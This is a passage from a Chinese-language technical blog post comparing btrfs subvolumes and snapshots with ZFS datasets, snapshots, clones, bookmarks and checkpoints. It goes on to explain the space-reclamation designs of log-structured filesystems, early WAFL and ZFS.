在 ROOT_TREE 中增加了 260 號子卷,其內容複製自 toplevel 子卷,然後 FS_TREE toplevel 的 256 號 inode 也就是根目錄中增加一個 dir_item 名叫 toplevel@s1 它指向 ROOT_ITEM 的 260 號子卷。這裏看似是完整複製了整個 FS_TREE 的內容,這是因爲 CoW b-tree 當只有一個葉子節點時就複製整個葉子節點。如果子卷內容再多一些,除了葉子之外還有中間節點, 那麼只有被修改的葉子和其上的中間節點需要複製。從而創建快照的開銷基本上是 O( level of FS_TREE ),而B樹的高度一般都能維持在很低的程度,所以快照創建速度近乎是常數開銷。

從子卷和快照的這種實現方式,可以看出: 雖然子卷可以嵌套子卷,但是對含有嵌套子卷的子卷做快照的語義有些特別 。上圖中我沒有畫 toplevel@s1 下的各個子卷到對應 ROOT_ITEM 之間的虛線箭頭, 是因爲這時候如果你嘗試直接跳過 toplevel 掛載 toplevel@s1 到掛載點, 會發現那些子卷沒有被自動掛載,更奇怪的是那些子卷的目錄項也不是個普通目錄, 嘗試往它們中放東西會得到無權訪問的錯誤,對它們能做的唯一事情是手動將別的子卷掛載在上面。 推測原因在於這些子目錄並不是真的目錄,沒有對應的目錄的 inode ,試圖查看它們的 inode 號會得到 2 號,而這是個保留號不應該出現在 btrfs 的 inode 號中。 每個子卷創建時會記錄包含它的上級子卷,用 btrfs subvolume list 可以看到每個子卷的 top level subvolid ,猜測當掛載 A 而 A 中嵌套的 B 子卷記錄的上級子卷不是 A 的時候, 會出現上述奇怪行爲。嵌套子卷的快照還有一些別的奇怪行爲,大家可以自己探索探索。

建議用平坦的子卷佈局

因爲上述嵌套子卷在做快照時的特殊行爲, 我個人建議是 保持平坦的子卷佈局 ,也就是說:

  1. 只讓頂層子卷包含其它子卷,除了頂層子卷之外的子卷只做手工掛載,不放嵌套子卷
  2. 只在頂層子卷對其它子卷做快照,不快照頂層子卷
  3. 雖然可以在頂層子卷放子卷之外的東西(文件或目錄),不過因爲想避免對頂層子卷做快照, 所以避免在頂層子卷放普通文件。

btrfs 的子卷可以設置「可寫」或者「只讀」,在創建一個快照的時候也可以通過 -r 參數創建出一個只讀快照。通常只讀快照可能比可寫的快照更有用,因爲 btrfs send 命令只接受只讀快照作爲參考點。子卷可以有兩種方式切換它是否只讀的屬性,可以通過 btrfs property set <subvol> ro 直接修改是否只讀,也可以對只讀子卷用 btrfs subvolume snapshot 創建出可寫子卷,或者反過來對可寫子卷創建出只讀子卷。

只讀快照也有些特殊的限制,在 SysadminGuide#Special_Cases 就提到一例,你不能把只讀快照用 mv 移出包含它的目錄,雖然你能用 mv 給它改名或者移動包含它的目錄 到別的地方。 btrfs wiki 上給出這個限制的原因是子卷中記錄了它的上級, 所以要移動它到別的上級需要修改這個子卷,從而只讀子卷沒法移動到別的上級( 不過我還沒搞清楚子卷在哪兒記錄了它的上級,記錄的是上級目錄還是上級子卷)。不過這個限制可以通過 對只讀快照在目標位置創建一個新的只讀快照,然後刪掉原位置的只讀快照來解決。

2   ZFS 的文件系統、快照、克隆及其它

Btrfs 給傳統文件系統只增加了子卷的概念,相比之下 ZFS 中類似子卷的概念有好幾個,據我所知有這些:

  • 數據集(dataset)
  • 文件系統(filesystem)
  • 快照(snapshot)
  • 克隆(clone)
  • 書籤(bookmark):從 ZFS on Linux v0.6.4 開始
  • 檢查點(checkpoint):從 ZFS on Linux v0.8.0 開始

梳理一下這些概念之間的關係也是最初想寫下這篇筆記的初衷。先畫個簡圖,隨後逐一講講這些概念:

ditaa diagram

上圖中,假設我們有一個 pool ,其中有 3 個文件系統叫 fs1~fs3 和一個 zvol 叫 zv1 ,然後文件系統 fs1 有兩個快照 s1 和 s2 ,和兩個書籤 b1 和 b2。pool 整體有兩個檢查點 cp1 和 cp2 。這個簡圖將作爲例子在後面介紹這些概念。

2.1   ZFS 設計中和快照相關的一些術語和概念

數據集

ZFS 中把文件系統、快照、克隆、zvol 等概念統稱爲數據集(dataset)。 一些文檔和介紹中把文件系統叫做數據集,大概因爲在 ZFS 中,文件系統是最先創建並且最有用的數據集。

在 ZFS 的術語中,把底層管理和釋放存儲設備空間的叫做 ZFS 存儲池(pool), 簡稱 zpool ,其上可以容納多個數據集,這些數據集用類似文件夾路徑的語法 pool_name/​dataset_path@snapshot_name 這樣來稱呼。 存儲池中的數據集一同共享可用的存儲空間,每個數據集單獨跟蹤自己所消耗掉的存儲空間。

數據集之間有類似文件夾的層級父子關係,這一點有用的地方在於可以在父級數據集上設定一些 ZFS 參數, 這些參數可以被子級數據集繼承,從而通過層級關係可以方便地微調 ZFS 參數。在 btrfs 中目前還沒有類似的屬性繼承的功能。

zvol 的概念和本文關係不大,可以參考我上一篇 ZFS 子系統筆記中 ZVOL 的說明 。用 zvol 能把 ZFS 當作一個傳統的卷管理器,繞開 ZFS 的 ZPL(ZFS Posix filesystem Layer) 層。在 Btrfs 中可以用 loopback 塊設備某種程度上模擬 zvol 的功能。

文件系統

創建了 ZFS 存儲池後,首先要在其中創建文件系統(filesystem),才能在文件系統中存儲文件。 容易看出 ZFS 文件系統的概念直接對應 btrfs 中的子卷。文件系統(filesystem)這個術語, 從命名方式來看或許是想要和(像 Solaris 的 SVM 或者 Linux 的 LVM 這樣的)傳統的卷管理器 與其上創建的多個文件系統(Solaris UFS 或者 Linux ext)這樣的上下層級做類比。 從 btrfs 的子卷在內部結構中叫作 FS_TREE 這一點可以看出,至少在 btrfs 早期設計中大概也是把子卷稱爲 filesystem 做過類似的類比的。 和傳統的卷管理器與傳統文件系統的上下層級不同的是, ZFS 和 btrfs 中由存儲池跟蹤和管理可用空間, 做統一的數據塊分配和釋放,沒有分配的數據塊算作整個存儲池中所有 ZFS 文件系統或者 btrfs 子卷的可用空間。

與 btrfs 的子卷不同的是, ZFS 的文件系統之間是完全隔離的,(除了後文會講的 dedup 方式之外)不可以共享任何數據或者元數據。一個文件系統還包含了隸屬於其中的快照(snapshot)、 克隆(clone)和書籤(bookmark)。在 btrfs 中一個子卷和對其創建的快照之間雖然有父子關係, 但是在 ROOT_TREE 的記錄中屬於平級的關係。

上面簡圖中 pool 裏面包含 3 個文件系統,分別是 fs1~3 。

快照

ZFS 的快照對應 btrfs 的只讀快照,是標記數據集在某一歷史時刻上的只讀狀態。 和 btrfs 的只讀快照一樣, ZFS 的快照也兼作 send/receive 時的參考點。 快照隸屬於一個數據集,這說明 ZFS 的文件系統或者 zvol 都可以創建快照。

ZFS 中快照是排列在一個時間線上的,因爲都是只讀快照,它們是數據集在歷史上的不同時間點。 這裏說的時間不是系統時鐘的時間,而是 ZFS 中事務組(TXG, transaction group)的一個序號。 整個 ZFS pool 的每次寫入會被合併到一個事務組,對事務組分配一個嚴格遞增的序列號, 提交一個事務組具有類似數據庫中事務的語義:要麼整個事務組都被完整提交,要麼整個 pool 處於上一個事務組的狀態,即使中間發生突然斷電之類的意外也不會破壞事務語義。 因此 ZFS 快照就是數據集處於某一個事務組時的狀態。

如果不滿於對數據集進行的修改,想把整個數據集恢復到之前的狀態,那麼可以回滾(rollback )數據集到一個快照。回滾操作會撤銷掉對數據集的所有更改,並且默認參數下只能回滾到最近的一個快照。 如果想回滾到更早的快照,可以先刪掉最近的幾個,或者可以使用 zfs rollback -r 參數刪除中間的快照並回滾。

除了回滾操作,還可以直接只讀訪問到快照中的文件。 ZFS 的文件系統中有個隱藏文件夾叫 ".zfs" ,所以如果只想回滾一部分文件,可以從 ".zfs/snapshots/SNAPSHOT-NAME" 中把需要的文件複製出來。

比如上面簡圖中 fs1 就有 pool/​fs1@s1 pool/​fs1@s2 這兩個快照, 那麼可以在 fs1 掛載點下 .zfs/​snapshots/​s1 的路徑直接訪問到 s1 中的內容。

克隆

ZFS 的克隆(clone)有點像 btrfs 的可寫快照。因爲 ZFS 的快照是只讀的,如果想對快照做寫入,那需要先用 zfs clone 從快照中建出一個克隆,創建出的克隆和快照共享元數據和數據, 然後對克隆的寫入不影響數據集原本的寫入點。 創建了克隆之後,作爲克隆參考點的快照會成爲克隆的依賴,克隆存在期間無法刪除掉作爲其依賴的快照。

一個數據集可以有多個克隆,這些克隆都獨立於數據集當前的寫入點。使用 zfs promote 命令可以把一個克隆「升級」成爲數據集的當前寫入點,從而數據集原本的寫入點會調轉依賴關係, 成爲這個新寫入點的一個克隆,被升級的克隆原本依賴的快照和之前的快照會成爲新數據集寫入點的快照。

比如上面簡圖中 fs1 有 c1 的克隆,它依賴於 s2 這個快照,從而 c1 存在的時候就不能刪除掉 s2 。

書籤

這是 ZFS 一個比較新的特性,ZFS on Linux 分支從 v0.6.4 開始支持創建書籤的功能。

書籤(bookmark)特性存在的理由是基於這樣的事實:原本 ZFS 在 send 兩個快照間的差異的時候,比如 send S1 和 S2 之間的差異,在發送端實際上只需要 S1 中記錄的時間戳(TXG id),而不需要 S1 快照的數據, 就可以計算出 S1 到 S2 的差異。在接收端則需要 S1 的完整數據,在其上根據接收到的數據流創建 S2 。 因此在發送端,可以把快照 S1 轉變成書籤,只留下時間戳元數據而不保留任何目錄結構或者文件內容。 書籤只能作爲增量 send 時的參考點,並且在接收端需要有對應的快照,這種方式可以在發送端節省很多存儲。

通常的使用場景是,比如你有一個筆記本電腦,上面有 ZFS 存儲的數據,然後使用一個服務器上 ZFS 作爲接收端,定期對筆記本上的 ZFS 做快照然後 send 給服務器。在沒有書籤功能的時候, 筆記本上至少得保留一個和服務器上相同的快照,作爲 send 的增量參考點, 而這個快照的內容已經在服務器上,所以筆記本中存有相同的快照只是在浪費存儲空間。 有了書籤功能之後,每次將定期的新快照發送到服務器之後,就可以把這個快照轉化成書籤,節省存儲開銷。

檢查點

這也是 ZFS 的新特性, ZFS on Linux 分支從 v0.8.0 開始支持創建檢查點。

簡而言之,檢查點(checkpoint)可以看作是整個存儲池級別的快照,使用檢查點能快速將整個存儲池都恢復到上一個狀態。 這邊有篇文章介紹 ZFS checkpoint 功能的背景、用法和限制 ,可以看出當存儲池中有檢查點的時候很多存儲池的功能會受影響(比如不能刪除 vdev 、不能處於 degraded 狀態、不能 scrub 到當前存儲池中已經釋放而在檢查點還在引用的數據塊), 於是檢查點功能設計上更多是給系統管理員準備的用於調整整個 ZFS pool 時的後悔藥, 調整結束後日用狀態下應該刪除掉所有檢查點。

2.2   ZFS 的概念與 btrfs 概念的對比

先說書籤和檢查點,因爲這是兩個 btrfs 目前完全沒有的功能。

書籤功能完全圍繞 ZFS send 的工作原理,而 ZFS send 位於 ZFS 設計中的 DSL 層面,甚至不關心它 send 的快照的數據是來自文件系統還是 zvol 。在發送端它只是從目標快照遞歸取數據塊,判斷 TXG 是否老於參照點的快照,然後把新的數據塊全部發往 send stream ;在接收端也只是完整地接收數據塊, 不加以處理,。與之不同的是 btrfs 的 send 的工作原理是工作在文件系統的只讀子卷層面, 發送端在內核代碼中根據目標快照的 b 樹和參照點快照的 generation 生成一個 diff (可以通過 btrfs subvolume find-new 直接拿到這個 diff ),然後在用戶態代碼中根據 diff 和參照點、目標快照的兩個只讀子卷的數據產生一連串修改文件系統的指令, 指令包括創建文件、刪除文件、讓文件引用數據塊(保持 reflink )等操作;在接收端則完全工作在用戶態下, 根據接收到的指令重建目標快照。可見 btrfs send 需要在發送端讀取參照點快照的數據(比如找到 reflink 引用),從而 btrfs 沒法(或者很難)實現書籤功能。

檢查點也是 btrfs 目前沒有的功能。 btrfs 目前不能對頂層子卷做遞歸的 snapshot ,btrfs 的子卷也沒有類似 ZFS 數據集的層級關係和可繼承屬性,從而沒法實現類似檢查點的功能。

除了書籤和檢查點之外,剩下的概念可以在 ZFS 和 btrfs 之間有如下映射關係:

ZFS 文件系統:btrfs 子卷
ZFS 快照:btrfs 只讀快照
ZFS 克隆:btrfs 可寫快照

對 ZFS 數據集的操作,大部分也可以找到對應的對 btrfs 子卷的操作。

zfs list: btrfs subvolume list
zfs create: btrfs subvolume create
zfs destroy: btrfs subvolume delete
zfs rename: mv
zfs snapshot: btrfs subvolume snapshot -r
zfs rollback:這個在 btrfs 需要對只讀快照創建出可寫的快照(用 snapshot 命令,或者直接修改讀寫屬性),然後改名或者調整掛載點
zfs diff: btrfs subvolume find-new
zfs clone: btrfs subvolume snapshot
zfs promote:和 rollback 類似,可以直接調整 btrfs 子卷的掛載點

可見雖然功能上類似,但是至少從管理員管理的角度而言, zfs 對文件系統、快照、克隆的劃分更爲清晰, 對他們能做的操作也更爲明確。這也是很多從 ZFS 遷移到 btrfs ,或者反過來從 btrfs 換用 zfs 時,一些人困惑的起源(甚至有人據此說 ZFS 比 btrfs 好在 cli 設計上)。

不過 btrfs 子卷的設計也使它在系統管理上有了更大的靈活性。比如在 btrfs 中刪除一個子卷不會受制於別的子卷是否存在,而在 zfs 中要刪除一個快照必須先保證先摧毀掉依賴它的克隆。 再比如 btrfs 的可寫子卷沒有主次之分,而 zfs 中一個文件系統和其克隆之間有明顯的區別,所以需要 promote 命令調整差異。還有比如 ZFS 的文件系統只能回滾到最近一次的快照, 要回滾到更久之前的快照需要刪掉中間的快照,並且回滾之後原本的文件系統數據和快照數據就被丟棄了; 而 btrfs 中因爲回滾操作相當於調整子卷的掛載,所以不需要刪掉快照, 並且回滾之後原本的子卷和快照還可以繼續保留。

加上 btrfs 有 reflink ,這給了 btrfs 在使用中更大的靈活性,可以有一些 zfs 很難做到的用法。 比如想從快照中打撈出一些虛擬機鏡像的歷史副本,而不想回滾整個快照的時候,在 btrfs 中可以直接 cp --reflink=always 將鏡像從快照中複製出來,此時的複製將和快照共享數據塊; 而在 zfs 中只能用普通 cp 複製,會浪費很多存儲空間。

2.3   ZFS 中是如何存儲這些數據集的呢

要講到存儲細節,首先需要 瞭解一下 ZFS 的分層設計 。不像 btrfs 基於現代 Linux 內核,有許多現有文件系統已經實現好的基礎設施可以利用, 並且大體上只用到一種核心數據結構(CoW的B樹); ZFS 則脫胎於 Solaris 的野心勃勃, 設計時就分成很多不同的子系統,逐步提升抽象層次, 並且每個子系統都發明了許多特定需求下的數據結構來描述存儲的信息。 在這裏和本文內容密切相關的是 ZPLDSLDMU 這些 ZFS 子系統。

Sun 曾經寫過一篇 ZFS 的 On disk format 對理解 ZFS 如何存儲在磁盤上很有幫助,雖然這篇文檔是針對 Sun 還在的時候 Solaris 的 ZFS ,現在 ZFS 的內部已經變化挺大,不過對於理解本文想講的快照的實現方式還具有參考意義。這裏藉助這篇 ZFS On Disk Format 中的一些圖示來解釋 ZFS 在磁盤上的存儲方式。

ZFS 的塊指針

zfs-block-pointer.svg

要理解 ZFS 的磁盤結構首先想介紹一下 ZFS 中的塊指針(block pointer, blkptr_t ),結構如右圖所示。 ZFS 的塊指針用在 ZFS 的許多數據結構之中,當需要從一個地方指向任意另一個地址的時候都會 插入這樣的一個塊指針結構。大多數文件系統中也有類似的指針結構,比如 btrfs 中有個8字節大小的邏輯地址(logical address),一般也就是個 4字節 到 16字節 大小的整數寫着扇區號、塊號或者字節偏移,在 ZFS 中的塊指針則是一個巨大的128字節(不是 128bit !)的結構體。

128字節塊指針的開頭是3個數據虛擬地址(DVA, Data Virtual Address),每個 DVA 是 128bit ,其中記錄這塊數據在什麼設備(vdev)的什麼偏移(offset)上佔用多大(asize),有 3個 DVA 槽是用來存儲最多3個不同位置的副本。然後塊指針還記錄了這個塊用什麼校驗算法( cksum )和什麼壓縮算法(comp),壓縮前後的大小(PSIZE/LSIZE),以及256bit的校驗和(checksum)。

當需要間接塊(indirect block)時,塊指針中記錄了間接塊的層數(lvl),和下層塊指針的數量(fill)。 一個間接塊就是一個數據塊中包含一個塊指針的數組,當引用的對象很大需要很多塊時,間接塊構成一棵樹狀結構。

塊指針中還有和本文關係很大的一個值 birth txg ,記錄這個塊指針誕生時的整個 pool 的 TXG id 。一次 TXG 提交中寫入的數據塊都會有相同的 birth txg ,這個相當於 btrfs 中 generation 的概念。 實際上現在的 ZFS 塊指針似乎記錄了兩個 birth txg ,分別在圖中的9行和a行的位置, 一個 physical 一個 logical ,用於 dedup 和 device removal 。值得注意的是塊指針裏只有 birth txg ,沒有引用計數或者別的機制做引用,這對後面要講的東西很關鍵。

DSL 的元對象集

理解塊指針和 ZFS 的子系統層級之後,就可以來看看 ZFS 存儲在磁盤上的具體結構了。 因爲涉及的數據結構種類比較多,所以先來畫一張邏輯上的簡圖,其中箭頭只是某種引用關係不代表塊指針, 方框也不是結構體細節:

zfs_layout_simple uberblock UBERBLOCK ... mos_blkptr mos Meta Object Set root dataset config ... uberblock:ub_rootbp->mos:mos_label root_dataset ROOT dataset dataset1 directory dataset2 directory ... mos:mos_root_dataset->root_dataset:rd_label ds1_directory DSL Directory ds1 property ZAP object ds1 child ZAP object ds1 dataset (active) ds1 snapshot1 ds1 snapshot2 ... root_dataset:rd_ds1->ds1_directory:ds1_label ds1_dataset ds1 DMU Object Set ... ds1_directory:ds1_dataset->ds1_dataset:ds1_ds_label ds1_snapshot1 ds1 snapshot1 DMU Object Set ... ds1_directory:ds1_s1->ds1_snapshot1:ds1_s1_label

如上簡圖所示,首先 ZFS pool 級別有個 uberblock ,具體每個 vdev 如何存儲和找到這個 uberblock 今後有空再聊,這裏認爲整個 zpool 有唯一的一個 uberblock 。從 uberblock 有個指針指向元對象集(MOS, Meta Object Set),它是個 DMU 的對象集,它包含整個 pool 的一些配置信息,和根數據集(root dataset)。根數據集再包含整個 pool 中保存的所有頂層數據集,每個數據集有一個 DSL Directory 結構。然後從每個數據集的 DSL Directory 可以找到一系列子數據集和一系列快照等結構。最後每個數據集有個 active 的 DMU 對象集,這是整個文件系統的當前寫入點,每個快照也指向一個各自的 DMU 對象集。

DSL 層的每個數據集的邏輯結構也可以用下面的圖表達(來自 ZFS On Disk Format ):

zfs-dsl-infrastructure.svg

ZFS On Disk Format 中 4.1 節的 DSL infrastructure

需要記得 ZFS 中沒有類似 btrfs 的 CoW b-tree 這樣的統一數據結構,所以上面的這些設施是用各種不同的數據結構表達的。 尤其每個 Directory 的結構可以包含一個 ZAP 的鍵值對存儲,和一個 DMU 對象。 可以理解爲, DSL 用 DMU 對象集(Objectset)表示一個整數(uinit64_t 的 dnode 編號)到 DMU 對象的映射,然後用 ZAP 對象表示一個名字到整數的映射,然後又有很多額外的存儲於 DMU 對象中的 DSL 結構體。如果我們畫出不同的指針和不同的結構體,那麼會得到一個稍顯複雜的圖,見右邊「ZFS On Disk Format 中 4.2 節的 Meta Object Set」,圖中還只畫到了 root_dataset 爲止。

看到這裏,大概可以理解在 ZFS 中創建一個 ZFS 快照的操作其實很簡單:找到數據集的 DSL Directory 中當前 active 的 DMU 對象集指針,創建一個表示 snapshot 的 DSL dataset 結構,指向那個 DMU 對象集,然後快照就建好了。因爲今後對 active 的寫入會寫時複製對應的 DMU 對象集,所以 snapshot 指向的 DMU 對象集不會變化。

3   創建快照這麼簡單麼?那麼刪除快照呢?

按上面的存儲格式細節來看, btrfs 和 zfs 中創建快照似乎都挺簡單的,利用寫時拷貝,創建快照本身沒什麼複雜操作。

如果你也聽到過別人介紹 CoW 文件系統時這麼講,是不是會覺得似乎哪兒少了點什麼。創建快照是挺簡單的, 直到你開始考慮如何刪除快照 ……

或者不侷限在刪除單個快照上, CoW 文件系統因爲寫時拷貝,每修改一個文件內容或者修改一個文件系統結構, 都是分配新數據塊,然後考慮是否要刪除這個數據替換的老數據塊,此時如何決定老數據塊能不能刪呢? 刪除快照的時候也是同樣,快照是和別的文件系統有共享一部分數據和元數據的, 所以顯然不能把快照引用到的數據塊都直接刪掉,要考察快照引用的數據塊是否還在別的地方被引用着, 只能刪除那些沒有被引用的數據。

深究「如何刪快照」這個問題,就能看出 WAFL 、 btrfs 、 ZFS 甚至別的 log-structured 文件系統間的關鍵區別,從而也能看到另一個問題的答案: 爲什麼 btrfs 只需要子卷的抽象,而 zfs 搞出了這麼多抽象概念? 帶着這兩個疑問,我們來研究一下這些文件系統的塊刪除算法。

3.1   日誌結構文件系統中用的垃圾回收算法

講 btrfs 和 zfs 用到的刪除算法之前,先講一下日誌結構(log-structured)文件系統中的垃圾回收( GC, Garbage Collection)算法。對熟悉編程的人來說,講到空間釋放算法,大概首先會想到 GC ,因爲這裏要解決的問題乍看起來很像編程語言的內存管理中 GC 想要解決的問題:有很多指針相互指向很多數據結構,找其中沒有被引用的垃圾然後釋放掉。

首先要澄清一下 日誌結構文件系統(log-structured file system) 的定義,因爲有很多文件系統用日誌,而用了日誌的不一定是日誌結構文件系統。 在維基百科上有個頁面介紹 日誌結構文件系統 ,還有個 列表列出了一些日誌結構文件系統 。通常說,整個文件系統的存儲結構都組織成一個大日誌的樣子,就說這個文件系統是日誌結構的, 這包括很多早期學術研究的文件系統,以及目前 NetBSD 的 LFS 、Linux 的 NILFS ,用在光盤介質上的 UDF ,還有一些專門爲閃存優化的 JFFSYAFFS 以及 F2FS 。日誌結構文件系統不包括那些用額外日誌保證文件系統一致性,但文件系統結構不在日誌中的 ext4 、 xfs 、 ntfs 、 hfs+ 。

簡單來說,日誌結構文件系統就是把存儲設備當作一個大日誌,每次寫入數據時都添加在日誌末尾, 然後用寫時複製重新寫入元數據,最後提交整個文件系統結構。因爲這裏用了寫時複製,原本的數據塊都還留着, 所以可以很容易實現快照之類的功能。從這個特徵上來說,寫時拷貝文件系統(CoW FS)像 btrfs/zfs 這些在一些人眼中也符合日誌結構文件系統的特徵, 所以也有人說寫時拷貝文件系統算是日誌結構文件系統的一個子類。不過日誌結構文件系統的另一大特徵是利用 GC 回收空間,這裏是本文要講的區別,所以在我看來不用 GC 的 btrfs 和 zfs 不算是日誌結構文件系統。

舉個例子,比如下圖是一個日誌結構文件系統的磁盤佔用,其中綠色是數據,藍色是元數據(比如目錄結構和 inode),紅色是文件系統級關鍵數據(比如最後的日誌提交點),一開始可能是這樣,有9個數據塊, 2個元數據塊,1個系統塊:

ditaa diagram

現在要覆蓋 2 和 3 的內容,新寫入 n2 和 n3 ,再刪除 4 號的內容 ,然後修改 10 裏面的 inode 變成 n10 引用這些新數據,然後寫入一個新提交 n12 ,用黃色表示不再被引用的垃圾,提交完大概是這樣:

ditaa diagram

日誌結構文件系統需要 GC 比較容易理解,寫日誌嘛,總得有一個「添加到末尾」的寫入點,比如上面圖中的 n12 就是當前的寫入點。空盤上連續往後寫而不 GC 總會遇到空間末尾,這時候就要覆蓋寫空間開頭, 就很難判斷「末尾」在什麼地方,而下一次寫入需要在哪裏了。 這時文件系統也不知道需要回收哪些塊(圖中的 o2 o3 o4 o10 和 o12),因爲這些塊可能被別的地方還繼續 引用着,需要等到 GC 時掃描元數據來判斷。

和內存管理時的 GC 不同的一點在於,文件系統的 GC 肯定不能停下整個世界跑 GC ,也不能把整個地址空間對半分然後 Mark-and-Sweep ,這些在內存中還尚可的簡單策略直接放到文件系統中絕對是性能災難。所以文件系統的 GC 需要並行的後臺 GC ,並且需要更細粒度的分塊機制能在 Mark-and-Sweep 的時候保持別的地方可以繼續寫入數據而維持文件系統的正常職能。

通常文件系統的 GC 是這樣,先把整個盤分成幾個段(segment)或者區域(zone),術語不同不過表達的概念類似, 然後 GC 時挑一個老段,掃描文件系統元數據找出要釋放的段中還被引用的數據塊,搬運到日誌末尾,最後整個釋放一段。 搬運數據塊時,也要調整文件系統別的地方對被搬運的數據塊的引用。

物理磁盤上一般有扇區的概念,通常是 512B 或者 4KiB 的大小,在文件系統中一般把連續幾個物理塊作爲一個數據塊, 大概是 4KiB 到 1MiB 的數量級,然後日誌結構文件系統中一個段(segment)通常是連續的很多塊,數量級來看大約是 4MiB 到 64MiB 這樣的數量級。相比之下 ufs/ext4/btrfs/zfs 的分配器通常還有 block group 的概念, 大概是 128MiB 到 1GiB 的大小。可見日誌結構文件系統的段,是位於數據塊和其它文件系統 block group 中間的一個單位。段大小太小的話,會顯著增加空間管理需要的額外時間空間開銷,而段大小太大的話, 又不利於利用整個可用空間,這裏的抉擇有個平衡點。

繼續上面的例子,假設上面文件系統的圖示中每一列的4塊是一個段,想要回收最開頭那個段, 那麼需要搬運還在用的 1 到空閒空間,順帶修改引用它的 n10 ,最後提交 n12 :

ditaa diagram

要掃描並釋放一整段,需要掃描整個文件系統中別的元數據(圖中的 n12 和 n10 和 11)來確定有沒有引用到目標段中的地址,可見釋放一個段是一個 \(O(N)\) 的操作,其中 N 是元數據段的數量,按文件系統的大小增長, 於是刪除快照之類可能要連續釋放很多段的操作在日誌文件系統中是個 \(O(N^2)\) 甚至更昂贵的操作。 在文件系統相對比較小而系統內存相對比較大的時候,比如手機上或者PC讀寫SD卡,大部分元數據塊( 其中包含塊指針)都能放入內存緩存起來的話,這個掃描操作的開銷還是可以接受的。 但是對大型存儲系統顯然掃描並釋放空間就不合適了。

段的抽象用在閃存類存儲設備上的一點優勢在於,閃存通常也有擦除塊的概念,比寫入塊的大小要大, 是連續的多個寫入塊構成,從而日誌結構的文件系統中一個段可以直接對應到閃存的一個擦除塊上。 所以閃存設備諸如U盤或者 SSD 通常在底層固件中用日誌結構文件系統模擬一個塊設備,來做寫入平衡。 大家所說的 SSD 上固件做的 GC ,大概也就是這樣一種操作。

基於段的 GC 還有一個顯著缺陷,需要掃描元數據,複製搬運仍然被引用到的塊,這不光會增加設備寫入, 還需要調整現有數據結構中的指針,調整指針需要更多寫入,同時又釋放更多數據塊, F2FS 等一些文件系統設計中把這個問題叫 Wandering Tree Problem ,在 F2FS 設計中是通過近乎「作弊」的 NAT 轉換表 放在存儲設備期待的 FAT 所在位置,不僅能讓需要掃描的元數據更集中,還能減少這種指針調整導致的寫入。

不過基於段的 GC 也有一些好處,它不需要複雜的文件系統設計,不需要特殊構造的指針, 就能很方便地支持大量快照。一些日誌結構文件系統比如 NILFS 用這一點支持了「連續快照(continuous snapshots)」,每次文件系統提交都是自動創建一個快照,用戶可以手動標記需要保留哪些快照, GC 算法則排除掉用戶手動標記的快照之後,根據快照創建的時間,先從最老的未標記快照開始回收。 即便如此, GC 的開銷(CPU時間和磁盤讀寫帶寬)仍然是 NILFS 最爲被人詬病的地方,是它難以被廣泛採用的原因。 爲了加快 NILFS 這類日誌文件系統的 GC 性能讓他們能更適合於普通使用場景,也有許多學術研究致力於探索和優化 GC ,使用更先進的數據結構和算法跟蹤數據塊來調整 GC 策略,比如這裏有一篇 State-of-the-art Garbage Collection Policies for NILFS2

3.2   WAFL 早期使用的可用空間位圖數組

從日誌結構文件系統使用 GC 的困境中可以看出,文件系統級別實際更合適的, 可能不是在運行期依賴掃描元數據來計算空間利用率的 GC ,而是在創建快照時或者寫入數據時就預先記錄下快照的空間利用情況, 從而可以細粒度地跟蹤空間和回收空間,這也是 WAFL 早期實現快照的設計思路。

WAFL 早期記錄快照佔用數據塊的思路從表面上來看也很「暴力」,傳統文件系統一般有個叫做「位圖(bitmap )」的數據結構,用一個二進制位記錄一個數據塊是否佔用,靠掃描位圖來尋找可用空間和已用空間。 WAFL 的設計早期中考慮既然需要支持快照,那就把記錄數據塊佔用情況的位圖,變成快照的數組。 於是整個文件系統有個 256 大小的快照利用率數組,數組中每個快照記錄自己佔用的數據塊位圖, 文件系統中最多能容納 255 個快照。

ditaa diagram

上面每個單元格都是一個二進制位,表示某個快照有沒有引用某個數據塊。有這樣一個位圖的數組之後, 就可以直接掃描位圖判斷出某個數據塊是否已經佔用,可以找出尚未被佔用的數據塊用作空間分配, 也可以方便地計算每個快照引用的空間大小或者獨佔的空間大小,估算刪除快照後可以釋放的空間。

需要注意的是,文件系統中可以有非常多的塊,從而位圖數組比位圖需要更多的元數據來表達。 比如估算一下傳統文件系統中一塊可以是 4KiB 大小,那麼跟蹤空間利用的位圖需要 1bit/4KiB , 1TiB 的盤就需要 32MiB 的元數據來存放位圖; 而 WAFL 這種位圖數組即便限制了快照數量只能有255個,仍需要 256bit/4KiB 的空間開銷, 1TiB 的盤需要的元數據開銷陡增到 8GiB ,這些還只是單純記錄空間利用率的位圖數組,不包括別的元數據。

使用這麼多元數據表示快照之後,創建快照的開銷也相應地增加了,需要複製整個位圖來創建一個新的快照, 按上面的估算 1TiB 的盤可能需要複製 32MiB 的位圖,這不再是一瞬能完成的事情, 期間可能需要停下所有對文件系統的寫入等待複製完成。 位圖數組在存儲設備上的記錄方式也很有講究,當刪除快照時希望能快速讀寫上圖中的一整行位圖, 於是可能希望每一行位圖的存儲方式在磁盤上都儘量連續, 而在普通的寫入操作需要分配新塊時,想要按列的方式掃描位圖數組,找到沒有被快照佔用的塊, 從而上圖中按列的存儲表達也希望在磁盤上儘量連續。 WAFL 的設計工程師們在位圖數組的思路下,實現了高效的數據結構讓上述兩種維度的操作都能快速完成, 但是這絕不是一件容易的事情。

位圖數組的表達方式也有其好處,比如除了快照之外,也可以非常容易地表達類似 ZFS 的克隆和獨立的文件系統這樣的概念,這些東西和快照一樣,佔用僅有的 256 個快照數量限制。 這樣表達的克隆可以有數據塊和別的文件系統共享,文件系統之間也可以有類似 reflink 的機制共享數據塊,在位圖數組的相應位置將位置1即可。

使用位圖數組的做法,也只是 WAFL 早期可能採用的方式,由於 WAFL 本身是閉源產品, 難以獲知它具體的工作原理。哈佛大學和 NetApp 的職員曾經在 FAST10 (USENIX Conference on File and Storage Technologies) 上發表過一篇講解高效跟蹤和使用 back reference 的論文,叫 Tracking Back References in a Write-Anywhere File System ,可以推測在新一代 WAFL 的設計中可能使用了類似 btrfs backref 的實現方式,接下來會詳細介紹。

3.3   ZFS 中關於快照和克隆的空間跟蹤算法

How ZFS snapshots really work And why they perform well (usually)

OpenZFS 的項目領導者,同時也是最初設計 ZFS 中 DMU 子系統的作者 Matt Ahrens 在 DMU 和 DSL 中設計並實現了 ZFS 獨特的快照的空間跟蹤算法。他也在很多地方發表演講,講過這個算法的思路和細節, 比如右側就是他在 BSDCan 2019 做的演講 How ZFS snapshots really work And why they perform well (usually) 的 YouTube 視頻。

